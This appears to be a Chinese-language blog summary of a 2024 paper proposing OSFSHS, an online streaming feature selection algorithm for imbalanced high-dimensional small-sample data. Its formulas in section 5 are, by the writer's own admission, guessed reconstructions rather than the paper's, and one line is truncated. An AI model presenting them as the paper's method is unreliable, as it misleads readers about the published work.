高维小样本数据的在线流特征选择

发布于24年国际学习和控制论杂志文献地址

简要总结

《Online streaming feature selection for high-dimensional small-sample data》研究了高维小样本数据（HDSS）在类别不平衡情况下的在线流式特征选择问题，提出了一种名为OSFSHS的算法。该算法基于类别密度自适应邻域关系假设，利用在线显著性分析、相关性分析和冗余更新技术，动态选择特征子集。通过12个数据集的实验验证，OSFSHS在分类准确率、F-score和G-mean指标上优于六种主流算法，尤其在少数类预测中表现突出。其创新点在于自适应邻域定义和在线特征评估框架，为实时数据处理提供了新思路。

以下是详细说明：

1. 研究背景

高维小样本数据（HDSS）是指特征维度远大于样本数量的数据类型，常见于图像识别、文本分类和医疗诊断等领域。这种数据面临以下挑战：

高维性与过拟合：特征维度高导致维度灾难，模型易过拟合。
小样本性：样本量不足，难以充分训练模型。
类别不平衡：多数类样本占主导，少数类样本稀少，模型往往偏向多数类，而少数类（如欺诈检测中的异常样本）在应用中更关键。
在线流式场景：特征逐个或成组到达，需动态选择最优特征子集，而非传统静态选择。

传统特征选择方法假设特征空间固定且完整，忽视类别不平衡，导致少数类预测性能不足。现有的类别不平衡处理方法（如过采样、欠采样）改变数据分布，可能引入噪声或丢失信息；而直接建模方法（设计特定算法直接处理不平衡数据）对难以适应特征流式到达的动态环境。因此，亟需一种兼顾HDSS特性、类别不平衡和在线需求的特征选择方法。

2. 基于的假设

OSFSHS算法基于以下核心假设：

类别密度决定邻域关系：样本的邻域关系应由其所在类别的分布密度决定，而非统一固定距离或邻居数量。这种假设认为类内密度信息能更准确反映不平衡数据的结构。
特征重要性动态变化：新到达的特征可能比已有特征更重要，特征子集需随时间动态调整。
原始分布保持：不改变数据原始分布，仅通过类内信息评估特征，避免采样方法带来的偏差。

这些假设旨在解决传统方法对不平衡数据分布的忽视，同时适应在线流式场景的实时性需求。

3. 使用的技术路线

OSFSHS的技术路线分为三个核心模块，构成完整的在线流式特征选择框架：

在线显著性分析：
- 评估新到达特征的邻域一致性，若高于已有特征子集，则替换或加入。
在线相关性分析：
- 检查新特征与已有特征的联合依赖性，若联合效果更好，则保留新特征。
在线冗余更新：
- 移除特征子集中冗余特征，保证子集高效性。

技术路线依托自适应邻域关系和邻域一致性度量，通过动态调整实现特征选择的实时性和准确性。

4. 实现的技术细节

OSFSHS的具体实现包括以下步骤：

(1) 自适应邻域关系

定义：基于类别密度为每个样本动态分配邻居数量，而非固定k值。
过程：利用目标样本所在类别的分布信息，计算类内密度，确定邻域范围。
优势：避免传统k近邻方法对稀疏或密集区域的统一处理，适应不平衡数据。

(2) 邻域一致性度量

定义：衡量特征子集与标签空间的一致性，作为特征重要性标准。
计算：基于新邻域关系，评估特征如何区分不同类别。
应用：用于后续的显著性、相关性和冗余分析。

(3) 在线流式特征选择

阶段1：在线显著性分析
- 输入新特征，计算其邻域一致性。
- 若一致性高于已有特征子集，则替换低效特征。
阶段2：在线相关性分析
- 计算新特征与已有特征子集的联合依赖性。
- 若联合依赖性优于单一特征，则保留新特征。
阶段3：在线冗余更新
- 检查已有特征子集，若某特征与新特征联合依赖性低于新特征单独依赖性，则移除冗余特征。

(4) 算法流程

输入：流式到达的特征、样本数据、标签。
输出：动态更新的特征子集。
特点：实时性强，计算复杂度低，适合在线场景。

5. 详细的数学公式表达

以下是OSFSHS的关键数学表达（因原文未提供具体公式，此处根据描述推导典型形式）：

(1) 邻域一致性度量

设特征子集 $S$ ，样本 $x_i$ 的类别标签为 $y_i$ ，邻域为 $N(x_i)$ ，一致性定义为：

$\frac{1}{n} \sum_{i=1}^n \mathbb{I}(y_i = \text{majority}(N(x_i, S)))$

其中：

$n$ 为样本数；
$\mathbb{I}$ 为指示函数，若 $y_i$ 与邻域多数类别一致则为1，否则为0；
$N(x_i, S)$ 是基于特征子集 $S$ 计算的邻域。

(2) 在线显著性分析

新特征 $f_{\text{new}}$ 的显著性：

$\text{Sig}(f_{\text{new}}) = C(S \cup \{f_{\text{new}}\}) - C(S)$

若 $\text{Sig}(f_{\text{new}}) > \theta$ （阈值），则 $f_{\text{new}}$ 加入 $S$ 。

(3) 联合依赖性

特征 $f_{\text{new}}$ 与子集 $S$ 的联合依赖性可用互信息表示：

$I(f_{\text{new}}, S; Y) = H(Y) - H(Y | f_{\text{new}}, S)$

其中：

$H (Y)$ 为标签熵；
$f_{\text{new}}, S)$ 为条件熵。

(4) 冗余判断

对于已有特征 $f_j \in S$ ，若：

$I(f_{\text{new}}, f_j; Y) < I(f_{\text{new}}; Y)$

则 $f_j$ 被视为冗余并移除。

这些公式体现了OSFSHS的动态评估过程，具体实现中可能涉及参数调整和优化。

6. 提出的创新点

OSFSHS的创新点包括：

基于类别密度的邻域关系：
- 通过类内密度动态定义邻域，克服传统方法的固定假设，适应不平衡数据。
在线特征评估框架：
- 包含显著性分析、相关性分析和冗余更新，形成完整在线选择体系。
保持原始分布：
- 不依赖采样，仅利用类内信息选择特征，避免数据分布改变。

这些创新提升了算法在HDSS和类别不平衡场景中的适用性。

7. 实验分析

(1) 实验设置

数据集：12个公开数据集（10个不平衡，2个常规），特征维度2308至12600，类别比例差异大（如GENE9为32.83）。
评估指标：分类准确率、F-score（综合精确率和召回率）、G-mean（平衡正负类效果）。
对比算法：OSFS、FOSFS、SAOLA、KOFSD、OFSD、OFSI。

(2) 结果分析

性能表现：
- OSFSHS在多数数据集上优于对比算法，尤其在F-score和G-mean上。例如，BREAST数据集F-score达0.9836（KNN）。
少数类预测：
- 在不平衡数据集上，OSFSHS显著提升少数类性能，体现了对类别不平衡的处理能力。
统计检验：
- Friedman和Nemenyi检验显示OSFSHS性能差异显著，平均排名第一。
稳定性：
- 雷达图显示OSFSHS总体稳定，但在GENE10等极端稀疏数据集上略有波动。